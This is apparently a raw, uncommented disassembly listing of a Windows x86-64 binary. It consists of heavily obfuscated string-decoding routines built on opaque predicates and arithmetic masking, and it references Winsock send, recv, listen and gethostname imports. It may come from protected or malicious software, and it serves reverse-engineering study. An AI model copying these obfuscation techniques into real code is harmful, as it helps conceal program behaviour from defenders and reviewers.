lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14008c35e
lea edx, [r11 + 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6f
add dil, dl
jmp 0x14008c19b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c392
lea ecx, [r11 - 0x66]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x36
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14008bc43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c3ba
lea edx, [r11 + 0x4c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x14008c7ab
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c3e2
lea edx, [r11 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008c771
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c40d
lea edx, [r11 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x14008c771
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c19b
lea ecx, [r11 - 0x3a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6a
dec r11
inc r11
jmp 0x14008bc43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c465
movzx r10d, r11b
lea edx, [r10 - 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x51
jmp 0x14008c6c0
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c48a
lea edx, [r11 - 3]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x15
jmp 0x14008c72a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c4af
lea ecx, [r11 + 0x61]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x59
jmp 0x14008c771
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c14a
lea edx, [r11 + 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7b
jmp 0x14008c618
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c50c
lea ecx, [r11 + 0x34]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6c
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14008bc43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c531
lea edx, [r11 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
jmp 0x14008c618
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c55c
lea edx, [r11 - 4]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x14008c771
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008c58a
lea edx, [r11 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x14008bc43
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c5b8
lea ecx, [r11 + 0x12]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7e
inc r8
dec r11
inc r11
jmp 0x14008bc43
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008c0ff
movzx r10d, r11b
lea edx, [r10 - 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
jmp 0x14008c6c0
lea edx, [r11 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, r9b
jmp 0x14008c72a
lea edx, [r11 - 0x26]
movzx eax, r9b
and al, dl
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
lea edx, [r11 + 0x33]
movzx eax, sil
and al, dl
add al, al
movzx ecx, sil
sub cl, al
sub cl, 0x65
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14008c7ab
lea ecx, [r11 + 0x79]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4f
jmp 0x14008c771
lea ecx, [r11 - 0x39]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x71
add rbx, r8
jmp 0x14008c771
lea ecx, [r11 + 0x63]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4b
dec r11
inc r11
jmp 0x14008bc43
movzx r10d, r11b
lea edx, [r10 - 1]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 7
add dil, dl
sub r10b, 0x31
movzx eax, sil
and al, r10b
add al, al
sub sil, al
add sil, 0x57
add sil, r10b
mov byte [rbp + r11 + 0x50], sil
inc r8
dec r11
inc r11
jmp 0x14008bc43
lea ecx, [r11 + 0x37]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7f
dec r11
inc r11
jmp 0x14008bc43
lea edx, [r11 - 0x7b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5d
movzx esi, r9b
add dil, dl
lea edx, [r11 - 0x7f]
movzx eax, sil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x79
add cl, sil
add cl, dl
mov byte [rbp + r11 + 0x50], cl
add rbx, r8
jmp 0x14008c771
movabs rcx, 0x44bbbf91b565e121
add rcx, r11
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x19
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008bc43
movabs rcx, 0x7b84bfc2ba1c27bd
add rcx, r11
and r9b, cl
add r9b, r9b
movzx edi, sil
sub dil, r9b
sub dil, 0x2b
add dil, cl
lea edx, [r11 - 0x74]
movzx eax, sil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, sil
add cl, dl
mov byte [rbp + r11 + 0x50], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14008bc43
movabs rax, 0x16e93fdb3c774b0b
add rax, r11
and r9b, al
add r9b, r9b
sub sil, r9b
lea edi, [rax + rsi]
sub dil, 0x4d
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x14008bc43
add r11b, 0x3d
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x55
jmp 0x14008bc40
sub r11b, 0x75
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x33
jmp 0x14008bc30
lea rdx, [rbp + 0x162241c]
jmp 0x14008c86d
lea rdx, [rbp + 0xb49275]
jmp 0x14008c86d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x6f0]
call fcn.140079b10
lea rcx, [rax + 8]
cmp byte [rax], 4
mov r13d, 0
cmovne rcx, r13
movzx edi, byte [rsp + 0x40]
cmp byte [rcx], r13b
je 0x14008e6bd
mov dword [rbp + 0x10], 0x9ebdaea4
mov dword [rbp + 0x14], 0xb8bdbca9
mov word [rbp + 0x18], 0xbfbf
mov byte [rbp + 0x1a], Ordinal_45
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b], xmm0
movabs rsi, 0x7f0ab9b2ea1db709
movabs r14, 0x7760874a3b0b6f51
movabs r13, 0x794b13e466d0013f
movabs r15, 0x7d202d18be59251b
nop
call fcn.14021eaf0
mov rbx, qword [rax]
call fcn.14021eae0
mov r8, qword [rax]
xor eax, eax
mov r11d, eax
cmp r11, 0x1b
jae 0x14008d411
movzx r10d, byte [rbp + r11 + 0x10]
mov edx, r10d
nop dword [rax + rax]
cmp rbx, r11
ja 0x14008d408
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008c93c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x3f
jmp 0x14008c976
je 0x14008d39e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d31a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008d2ee
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008d2cd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d2a9
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14008d3ff
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14008c9aa
lea ecx, [r9 - 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2b
jmp 0x14008c9e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d269
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d246
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d226
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008d209
nop
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14008cf39
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008cf1e
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008cef5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008ced2
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008ceb3
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008ce93
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008ce73
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008ce58
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008ce38
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008ce0c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008c9f0
mov rbx, rax
lea r8, [rax + 2]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008d3e2
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008d3c5
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008cbd5
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14008cbba
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008cb9f
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008cdc3
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14008cd7e
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008cd44
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008cd1f
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008c9f0
mov rbx, rax
lea r8, [rax + 0x200]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008ccf3
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14008ccd3
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008ccb8
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008cc98
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008cc78
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008cc59
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008cc36
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008cc0d
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14008cbf2
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008c9f0
lea rbx, [r8 + 8]
lea r8, [rbx + 8]
jmp 0x14008c9f0
lea ecx, [r9 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x35
jmp 0x14008c9e0
lea ecx, [r9 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x49
jmp 0x14008c980
sub r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x39
jmp 0x14008c910
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14008d27f
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14008c8f5
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
dec r11
inc r11
jmp 0x14008c8f5
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008d1cc
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
add rbx, r8
jmp 0x14008d301
sub r9b, 0x72
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008d301
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14008d334
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008d35d
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x14008c8f5
add r9b, 0x2b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2d
mov byte [rbp + r11 + 0x10], dil
inc r11
jmp 0x14008c8f5
lea ecx, [r9 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
cmp r8, 1
jb 0x14008cd37
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x34]
jmp 0x14008d27f
lea ecx, [r9 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
cmp rbx, 2
jae 0x14008d1b3
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14008d0b1
lea ecx, [r9 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x14008cd5a
lea ecx, [r9 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4d
lea rax, [rbx + r8]
cmp rax, 0x28
je 0x14008d1f3
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14008d00c
lea ecx, [r9 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 3
jmp 0x14008cd94
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x14008c8f5
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008d35d
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x14008d334
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008d301
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
add rbx, r8
jmp 0x14008d301
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008d1cc
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
dec r11
inc r11
jmp 0x14008c8f5
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14008c8f5
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x14008d27f
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14008cf5d
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
jmp 0x14008cdd9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008cf92
add r9b, 0x7a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x56
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x14008c8f5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008cfbb
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008d301
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008cfe4
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
add rbx, r8
jmp 0x14008d301
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008cdd9
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x14008d27f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008d030
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x14008d27f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d05e
add r9b, 0x49
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc dil
inc r8
dec r11
inc r11
jmp 0x14008c8f5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008d087
add r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x79
add rbx, r8
jmp 0x14008d301
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008cd94
sub r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 9
jmp 0x14008d301
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008d0e9
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x14008c8f5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d111
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008d334
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008d137
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
jmp 0x14008d301
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008d158
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x14008d1cc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008d187
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14008c8f5
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008cd5a
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008d27f
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x29
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x10], r9b
add rbx, r8
jmp 0x14008d301
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x16]
jmp 0x14008d334
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1b
jmp 0x14008d35d
add r9b, 0x17
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5f
add rbx, r8
jmp 0x14008d301
sub r9b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5b
dec r11
inc r11
jmp 0x14008c8f5
lea ecx, [r9 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x57
sub r9b, 0x61
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x59
add r9b, r10b
mov byte [rbp + r11 + 0x10], r9b
inc r8
dec r11
inc r11
jmp 0x14008c8f5
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
inc r8
dec r11
inc r11
jmp 0x14008c8f5
lea ecx, [r11 - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4f
dec r11
inc r11
jmp 0x14008c8f5
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x37
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008c8f5
lea rcx, [r11 + r13]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x47
add dil, cl
movzx r9d, r11b
sub r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x55
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x10], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x10], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x14008c8f5
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x43
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x14008c8f5
sub r9b, 0x53
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x45
jmp 0x14008c8f0
sub r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3d
jmp 0x14008c8e0
lea rdx, [rbp + 0x176fa1c]
jmp 0x14008d415
lea rdx, [rbp + 0x114b125]
jmp 0x14008d415
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x6f0]
call fcn.140079b10
lea rcx, [rax + 8]
cmp byte [rax], 4
mov r13d, 0
cmovne rcx, r13
cmp byte [rcx], r13b
je 0x14008d442
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x70], 0x8e8dbe8b
mov dword [rbp + 0x74], 0xa4aaacb9
mov word [rbp + 0x78], 0x19a2
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a], xmm0
movabs rsi, 0x338aa462cc9e21ab
movabs r15, 0x68ca7eb39852ebad
movabs r14, 0x9a9fed2865da6501
movzx edi, byte [rsp + 0x40]
call fcn.14021eaf0
mov rbx, qword [rax]
call fcn.14021eae0
mov r8, qword [rax]
mov r11, r13
cmp r11, 0x1a
jae 0x14008de5b
movzx r10d, byte [rbp + r11 + 0x70]
mov edx, r10d
cmp rbx, r11
ja 0x14008de52
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008d4d2
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x53
jmp 0x14008d50c
je 0x14008dde6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008dd61
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008dd2f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008dcf2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008dcce
movzx r9d, r11b
cmp r8, r11
ja 0x14008de49
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14008d53a
lea ecx, [r9 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
jmp 0x14008d580
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008dc8e
cmp rbx, rcx
je 0x14008dc68
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008dc4b
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008dc30
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008dc04
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14008d9b3
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d998
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d96f
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008d94c
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008d931
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d911
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008d8f4
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008d8d9
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 4]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008de2c
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008de0f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008d709
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008d6ee
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008d6d3
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008d890
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008d84b
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008d80b
lea rbx, [r8 + 5]
lea r8, [rbx + 0x61]
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008d7dc
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008d7bf
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008d7a4
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008d784
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008d767
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008d74c
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008d726
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 4]
jmp 0x14008d590
lea ecx, [r9 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x11
jmp 0x14008d580
lea ecx, [r9 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6b
jmp 0x14008d510
add r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3b
jmp 0x14008d4a6
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14008d493
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14008dd0c
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
